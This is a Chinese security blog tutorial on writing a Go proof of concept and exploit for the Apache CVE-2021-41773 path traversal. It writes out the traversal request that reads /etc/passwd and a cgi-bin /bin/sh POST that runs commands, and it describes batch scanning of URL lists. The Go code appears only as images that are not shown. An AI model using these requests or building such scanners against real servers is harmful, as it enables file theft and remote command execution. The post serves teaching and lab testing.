干货|从无到有学习Golang编写poc&exp

admin 2023年5月29日13:40:35评论17 views字数 2051阅读6分50秒阅读模式


干货|从无到有学习Golang编写poc&exp

戟星安全实验室


    忆享科技旗下高端的网络安全攻防服务团队.安服内容包括渗透测试、代码审计、应急响应、漏洞研究、威胁情报、安全运维、攻防演练等

干货|从无到有学习Golang编写poc&exp

本文约1683字,阅读约需5分钟。

干货|从无到有学习Golang编写poc&exp


干货|从无到有学习Golang编写poc&exp

前言

干货|从无到有学习Golang编写poc&exp

1、确定目标:

首先要明确你的目标是什么。你是想编写一个POC来验证某个漏洞的存在,还是想编写一个EXP来利用该漏洞?

2、漏洞研究:

在编写POCProof of Concept,概念验证)或EXPExploit漏洞利用)之前,深入研究目标漏洞是至关重要的。了解漏洞的工作原理、漏洞利用条件和可能的影响。查阅相关文档、安全公告、漏洞报告以及专业博客和论坛上的讨论。

3、环境设置:

根据目标漏洞的类型和相关应用程序或系统的环境,搭建一个合适的实验环境。这可能包括虚拟机、容器或者专门用于漏洞测试的平台。

4、编写POC

如果你的目标是编写一个POC来验证漏洞,你需要着重考虑漏洞的关键特征和触发条件。POC应该能够在实验环境中重现漏洞,并提供足够的证据来证明漏洞的存在。

l  确定漏洞的输入点:找到漏洞所接受的输入,这可能是网络请求、文件、用户输入等。分析这些输入的结构和预期的行为。

l  构造恶意输入:基于对漏洞的理解,构造一个恶意输入,以触发漏洞。这可能包括修改输入数据的特定字段、发送恶意请求或者注入恶意代码等。

l  目标验证:验证POC是否能成功触发漏洞。在实验环境中运行POC,并观察结果。如果漏洞成功被验证,确保记录下复现过程和验证结果。

5、编写EXP

如果你的目标是编写一个EXP来利用漏洞,你需要深入理解目标系统的内部工作机制和漏洞利用技术。

l  漏洞利用技术:了解常见的漏洞利用技术,例如、SQL注入、远程代码执行等。根据目标漏洞的类型选择合适的利用技术。

l  编写利用代码:基于漏洞利用技术和目标系统的特点,编写利用代码。这可能包括构造特定的数据包、利用内存布局、绕过安全机制等。

l  利用验证:在合适的实验环境中


干货|从无到有学习Golang编写poc&exp

编写

干货|从无到有学习Golang编写poc&exp


干货|从无到有学习Golang编写poc&exp

1.URL处理

干货|从无到有学习Golang编写poc&exp

url处理包括:

识别url前缀,没有http&https的添加http或者https

删除url路径部分;(方便poc&exp中添加路径验证漏洞)

url结尾有/ 则去掉/;(同上)

url处理函数 urlHandler

干货|从无到有学习Golang编写poc&exp

添加main测试函数

干货|从无到有学习Golang编写poc&exp


干货|从无到有学习Golang编写poc&exp

2.状态码识别

干货|从无到有学习Golang编写poc&exp

首先编写获取url状态吗函数:getStatusCode


干货|从无到有学习Golang编写poc&exp


编写main测试函数:


干货|从无到有学习Golang编写poc&exp

合并使用第一步的url处理函数:

未使用前:


干货|从无到有学习Golang编写poc&exp

使用后


干货|从无到有学习Golang编写poc&exp



干货|从无到有学习Golang编写poc&exp

3.文件读取

干货|从无到有学习Golang编写poc&exp

为方便批量漏洞验证,增加文件中读取url的函数

编写文件读取函数:readFile


干货|从无到有学习Golang编写poc&exp

创建url.txt文件,编写main函数测试:


干货|从无到有学习Golang编写poc&exp

合并第一、第二步。识别这些url的状态码


干货|从无到有学习Golang编写poc&exp


干货|从无到有学习Golang编写poc&exp

4.POC验证

干货|从无到有学习Golang编写poc&exp

apache路径穿越漏洞--cve-2021-41773为例:

Apache HTTP Server 2.4.492.4.50版本对路径规范化所做的更改中存在一个路径穿越漏洞,攻击者可利用该漏洞读取到Web目录外的其他文件,如系统配置文件、网站源码等,甚至在特定情况下,攻击者可构造恶意请求执行命令,控制服务器。

漏洞验证:

在服务端开启了cgicgid这两个mod的情况下,这个路径穿越漏洞将可以执行任意命令

对包头进行修改:

GET /icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1

读取/etc/passwd文件:


干货|从无到有学习Golang编写poc&exp


编写poc

增加目录:

/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd

以验证反回包是否包含“root:x”判断漏洞是否存在。


干货|从无到有学习Golang编写poc&exp

main函数


干货|从无到有学习Golang编写poc&exp

使用靶场验证漏洞


干货|从无到有学习Golang编写poc&exp


批量验证漏洞:

包括:判断url状态码,存在漏洞的url写入文件


干货|从无到有学习Golang编写poc&exp


干货|从无到有学习Golang编写poc&exp

EXP利用

干货|从无到有学习Golang编写poc&exp

包头修改:

POST /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh HTTP/1.1
POST 提交:
echo; ls /

干货|从无到有学习Golang编写poc&exp


编写exp:增加目录:/cgi-bin/.%2e/%2e%2e/%2e%2e/bin/sh

POST提交:echo; ls /

执行的命令用户决定,以command控制


干货|从无到有学习Golang编写poc&exp


编写main函数:

使用poc函数判断漏洞是否存在,如果漏洞存在,则循环执行命令,


干货|从无到有学习Golang编写poc&exp


干货|从无到有学习Golang编写poc&exp

至此,简单的漏洞验证和漏洞利用编写完成。



干货|从无到有学习Golang编写poc&exp

往期回顾

干货|从无到有学习Golang编写poc&exp

【干货分享】对RuoYi内存马简单二开

【工具分享】Burp插件-AccessKey泄露正则匹配插件

干货分享|Nacos 身份认证绕过漏洞复现-附Nuclei脚本





声明


    由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,戟星安全实验室及文章作者不为此承担任何责任。

    戟星安全实验室拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经戟星安全实验室允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。




干货|从无到有学习Golang编写poc&exp
干货|从无到有学习Golang编写poc&exp

干货|从无到有学习Golang编写poc&exp

戟星安全实验室

# 长按二维码 || 点击下方名片 关注我们 #

干货|从无到有学习Golang编写poc&exp


原文始发于微信公众号(戟星安全实验室):干货|从无到有学习Golang编写poc&exp

特别标注: 本站(CN-SEC.COM)所有文章仅供技术研究,若将其信息做其他用途,由用户承担全部法律及连带责任,本站不承担任何法律及连带责任,请遵守中华人民共和国安全法.
  • 我的微信
  • 微信扫一扫
  • weinxin
  • 我的微信公众号
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年5月29日13:40:35
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                  干货|从无到有学习Golang编写poc&exp http://cn-sec.com/archives/1764496.html

发表评论

匿名网友 填写信息

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: